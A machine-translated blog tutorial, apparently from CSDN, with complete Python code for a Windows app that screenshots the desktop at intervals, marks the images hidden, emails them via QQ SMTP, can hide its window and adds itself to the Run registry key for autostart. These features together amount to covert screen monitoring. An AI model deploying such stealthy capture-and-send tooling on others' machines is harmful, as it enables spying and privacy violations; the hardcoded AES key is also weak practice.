Une étape : utilisez Python pour capturer des captures d'écran du PC et envoyer automatiquement des e-mails pour réaliser la surveillance de l'écran

Dans le monde numérique actuel, l’automatisation est devenue un élément clé de notre vie quotidienne et de notre travail. Cela améliore non seulement l’efficacité, mais permet également d’économiser beaucoup de temps et d’énergie. Dans cet article, nous explorerons comment utiliser Python pour implémenter une tâche d'automatisation spécifique : envoyer automatiquement des captures d'écran du PC à une adresse e-mail spécifiée.

Cette tâche peut paraître compliquée, mais avec Python, nous pouvons la décomposer en étapes simples et les implémenter une par une. Tout d’abord, nous avons besoin d’un outil capable de capturer des captures d’écran. Deuxièmement, nous avons besoin d’un service capable d’envoyer des e-mails. Enfin, nous devons combiner ces deux étapes et créer un script capable d'automatiser ces tâches.

Dans cet article, nous détaillerons ce processus et fournirons des exemples de code Python correspondants. Que vous soyez un débutant Python ou un développeur expérimenté à la recherche d'un nouveau projet d'automatisation, vous pouvez en bénéficier. commençons.

La fonction principale

1. Prenez des captures d'écran en utilisant la bibliothèque pyautogui.

2. Utilisez la bibliothèque smtplib pour envoyer des e-mails afin d'envoyer des captures d'écran aux destinataires.

3. Utilisez la bibliothèque tkinter pour créer une interface utilisateur graphique (GUI) simple pour configurer les paramètres de l'application.

4. Enregistrez les journaux à l'aide de la bibliothèque de journalisation et enregistrez les journaux dans des fichiers.

5. Utilisez la bibliothèque configparser pour lire et enregistrer les paramètres de configuration de l'application.

6. La fonction de démarrage automatique est implémentée et l'application peut être configurée pour démarrer automatiquement au démarrage.

7. Implémentation de la fonction de masquage et d'affichage des fenêtres d'application.

8. L’adresse email de réception est égale à l’adresse email d’envoi par défaut.

De plus, le code implémente également d'autres fonctions, telles que le cryptage et le décryptage des données, la suppression des fichiers de capture d'écran envoyés, etc.

L'application offre aux utilisateurs un moyen pratique de prendre régulièrement des captures d'écran et d'envoyer les captures d'écran aux destinataires désignés. Elle convient à la surveillance, à la surveillance à distance et à d'autres scénarios nécessitant des captures d'écran régulières. Les utilisateurs peuvent définir l'intervalle entre les captures d'écran, le nombre de captures d'écran, les adresses e-mail de l'expéditeur et du destinataire, etc. via l'interface graphique.

code spécifique

# coding=utf-8 
'''
 @Author  : TesterRoad
 @Time    : 2023/7/9 15:43
 @Desc    : 用python实现PC屏幕截图自动发送邮箱
 @Software: PyCharm
'''
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob

KEY = b'MySuperSecretKey'


def encrypt_data(data):
    cipher = AES.new(KEY, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    return iv + ct


def decrypt_data(data):
    try:
        iv = base64.b64decode(data[:24])
        ct = base64.b64decode(data[24:])
        cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
        pt = unpad(cipher.decrypt(ct), AES.block_size)
        return pt.decode('utf-8')
    except:
        return "Decryption Error!"


class ScreenshotApp:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("Screen")

        self.config = configparser.ConfigParser()
        self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")

        if not os.path.exists(self.config_file):
            self.create_default_config()

        self.config.read(self.config_file)  # 读取配置文件

        self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")
        self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
        self.sender_email_entry = ttk.Entry(self.root)
        self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)

        self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")
        self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
        self.sender_password_entry = ttk.Entry(self.root, show="*")
        self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)

        self.interval_label = ttk.Label(self.root, text="截图间隔时间:")
        self.interval_label.grid(row=2, column=0, padx=5, pady=5)
        self.interval_entry = ttk.Entry(self.root)
        self.interval_entry.grid(row=2, column=1, padx=5, pady=5)

        self.count_label = ttk.Label(self.root, text="发送截图数量:")
        self.count_label.grid(row=3, column=0, padx=5, pady=5)
        self.count_entry = ttk.Entry(self.root)
        self.count_entry.grid(row=3, column=1, padx=5, pady=5)

        self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)
        self.start_button.grid(row=4, column=0, padx=5, pady=5)

        self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)
        self.stop_button.grid(row=4, column=1, padx=5, pady=5)
        self.stop_button.configure(state="disabled")

        self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
        self.save_button.grid(row=5, column=0, padx=5, pady=5)

        self.autostart_var = tk.BooleanVar()
        self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var,
                                                     command=self.save_settings)
        self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)

        self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)
        self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)

        # 创建日志记录器
        self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
        self.logger = logging.getLogger("ScreenshotApp")
        self.logger.setLevel(logging.INFO)
        self.logger.addHandler(logging.FileHandler(self.log_file_path))

        self.screenshot_running = False
        self.screenshot_thread = None
        self.stop_event = threading.Event()

        # 初始化输入框的值
        self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
        self.sender_password_entry.insert(0, self.get_decrypted_password())
        self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
        self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))

        # 初始化开机自动启动选项
        self.autostart_var.set(self.is_autostart_enabled())

        self.root.protocol("WM_DELETE_WINDOW", self.on_close)

        self.root.bind("<F12>", self.toggle_visibility)

        # 初始化窗口可见性
        visibility = self.config.get("Settings", "visibility", fallback="visible")
        if visibility == "hidden":
            self.root.withdraw()

        if self.autostart_var.get():
            self.start_screenshot()

        self.root.mainloop()

    def on_close(self):
        self.stop_screenshot()
        self.save_settings()
        self.delete_screenshots()
        self.root.quit()

    def create_default_config(self):
        if not os.path.exists(self.config_file):
            self.config["Settings"] = {
                "sender_email": "",
                "sender_password": "",
                "interval": "",
                "count": "",
                "autostart": "False",
                "visibility": "visible"
            }

        config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)

    def start_screenshot(self):
        interval_text = self.interval_entry.get()
        count_text = self.count_entry.get()

        if not interval_text or not count_text:
            self.logger.error("请提供Screen间隔时间和Screen次数")
            return

        try:
            interval = int(interval_text)
            count = int(count_text)
        except ValueError:
            self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")
            return
        if not self.screenshot_running:
            sender_email = self.sender_email_entry.get()
            sender_password = self.sender_password_entry.get()
            interval = int(self.interval_entry.get())
            count = int(self.count_entry.get())

            receiver_email = sender_email  # 收件邮箱地址默认等于发件邮箱地址

            self.logger.info("开始Screen")

            self.start_button.configure(state="disabled")
            self.stop_button.configure(state="normal")
            self.screenshot_running = True
            self.stop_event.clear()

            self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(
            receiver_email, sender_email, sender_password, interval, count))
            self.screenshot_thread.start()

    def stop_screenshot(self):
        if self.screenshot_running:
            self.screenshot_running = False
            self.stop_event.set()
            self.screenshot_thread.join()

            self.logger.info("停止Screen")
            self.start_button.configure(state="normal")
            self.stop_button.configure(state="disabled")

    def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
        screenshot_count = 0
        screenshots = []

        # 获取用户主目录,并创建'Screenshots'文件夹
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')
        os.makedirs(screenshot_dir, exist_ok=True)

        # 在开始Screen前清空'Screenshots'文件夹
        self.delete_screenshots()

        while screenshot_count < count and not self.stop_event.is_set():
            try:
                # Screen
                screenshot = pyautogui.screenshot()

                # 生成文件名,格式为“Screen时间.png”
                current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
                filename = f"Screen_{current_time}.png"

                # 保存Screen到'Screenshots'文件夹中
                screenshot_path = os.path.join(screenshot_dir, filename)
                screenshot.save(screenshot_path)
                screenshots.append(screenshot_path)
                screenshot_count += 1
                # 设置文件为隐藏
                FILE_ATTRIBUTE_HIDDEN = 0x02
                ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
                self.logger.info(f"Screen成功: {screenshot_path}")

                if screenshot_count == count:  # 达到指定Screen次数后发送Screen
                    screenshot_count = 0
                    self.send_email(receiver_email, sender_email, sender_password, screenshots)
                    self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")
                    self.delete_screenshots(screenshots)
                    screenshots = []  # 清空已发送的Screen列表
            except Exception as e:
                self.logger.error(f"Screen失败: {str(e)}")

            time.sleep(interval)

    def send_email(self, receiver_email, sender_email, sender_password, filenames):
        msg = MIMEMultipart()
        msg["From"] = sender_email
        msg["To"] = receiver_email
        msg["Subject"] = "Screen"

        # 添加邮件正文
        msg.attach(MIMEText("请查看附件中的Screen。", "plain"))

        # 添加Screen作为附件
        for filename in filenames:
            with open(filename, "rb") as f:
                image = MIMEImage(f.read())
            image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
            msg.attach(image)

        try:
            # 发送邮件
            with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
                smtp.login(sender_email, sender_password)
                smtp.send_message(msg)

            self.logger.info(f"邮件发送成功,收件人: {receiver_email}")

        except Exception as e:
            self.logger.error(f"邮件发送失败: {str(e)}")

    def save_settings(self):

        self.config.set("Settings", "sender_email", self.sender_email_entry.get())
        self.config.set("Settings", "interval", self.interval_entry.get())
        self.config.set("Settings", "count", self.count_entry.get())
        self.config.set("Settings", "autostart", str(self.autostart_var.get()))

        visibility = "visible" if self.root.state() == "normal" else "hidden"
        self.config.set("Settings", "visibility", visibility)

        if self.sender_password_entry.get() != self.get_decrypted_password():
            encrypted_password = encrypt_data(self.sender_password_entry.get())
            self.config.set("Settings", "sender_password", encrypted_password)

        config_file_path = os.path.abspath(self.config_file)
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
            self.logger.handlers.clear()
            self.logger.addHandler(logging.FileHandler(self.log_file_path))

        self.set_autostart(self.autostart_var.get())

    def delete_screenshots(self, filenames=None):
        # 获取'Screenshots'文件夹路径
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')

        if filenames is None:
            filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))

        for filename in filenames:
            try:
                os.remove(filename)
                self.logger.info(f"删除Screen: {filename}")
            except Exception as e:
                self.logger.error(f"删除Screen失败: {str(e)}")

    def get_decrypted_password(self):
        encrypted_password = self.config.get("Settings", "sender_password", fallback="")
        if encrypted_password:
            return decrypt_data(encrypted_password)
        else:
            return ""

    def toggle_visibility(self, event=None):
        if self.root.state() == "withdrawn":
            self.root.deiconify()
        else:
            self.root.withdraw()
        self.save_settings()

    def set_autostart(self, enabled):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 获取当前脚本的绝对路径

        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
                if enabled:
                    winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
                    self.logger.info("已设置开机自动启动")
                else:
                    winreg.DeleteValue(reg_key, app_name)
                    self.logger.info("已取消开机自动启动")
        except FileNotFoundError as e:
            self.logger.error(f"找不到注册表路径: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
        except Exception as e:
            self.logger.error(f"设置开机自动启动失败: {str(e)}")

    def is_autostart_enabled(self):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 获取当前脚本的绝对路径

        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
                try:
                    value, value_type = winreg.QueryValueEx(reg_key, app_name)
                    return value == app_path
                except FileNotFoundError:
                    return False
        except FileNotFoundError as e:
            self.logger.error(f"找不到注册表路径: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
        except Exception as e:
            self.logger.error(f"读取开机自动启动设置失败: {str(e)}")

        return False


if __name__ == "__main__":
    app = ScreenshotApp()

Ouvrez CMD et entrez python ScreenCaptureSendEmail.py

image

Nous entrons l'adresse e-mail d'envoi, le mot de passe de l'e-mail d'envoi (l'e-mail QQ est le code d'autorisation), l'intervalle de capture d'écran, le nombre de captures d'écran envoyées, puis cliquez pour commencer à prendre des captures d'écran. Nous recevrons un e-mail QQ plus tard.

Comme indiqué ci-dessous

image

image

Dans cet article, nous expliquons en détail comment utiliser Python pour implémenter la fonction de prise de captures d'écran du PC et de leur envoi automatique par courrier électronique. Nous avons exploré l'utilisation de bibliothèques associées. Et en écrivant du code réel, nous montrons étape par étape comment assembler ces fonctionnalités. J'espère que cet article pourra vous aider à progresser dans l'automatisation des tâches et à améliorer l'efficacité du travail. Si vous rencontrez des problèmes lors de la pratique ou si vous avez des suggestions, n'hésitez pas à communiquer avec moi. N'oubliez pas que la programmation est l'art de la résolution de problèmes et que vous pouvez mieux la maîtriser grâce à un apprentissage et une pratique continus.

Enfin, je voudrais remercier tous ceux qui lisent attentivement mon article. La réciprocité est toujours nécessaire. Même si ce n'est pas une chose très précieuse, si vous pouvez l'utiliser, vous pouvez le prendre directement :

Insérer la description de l'image ici

Ces informations devraient constituer l'entrepôt de préparation le plus complet et le plus complet pour les amis [des tests de logiciels]. Cet entrepôt a également accompagné des dizaines de milliers d'ingénieurs de test tout au long du voyage le plus difficile. J'espère qu'il pourra également vous aider !  

Acho que você gosta

Origin blog.csdn.net/nhb687095/article/details/133078077
Recomendado
Clasificación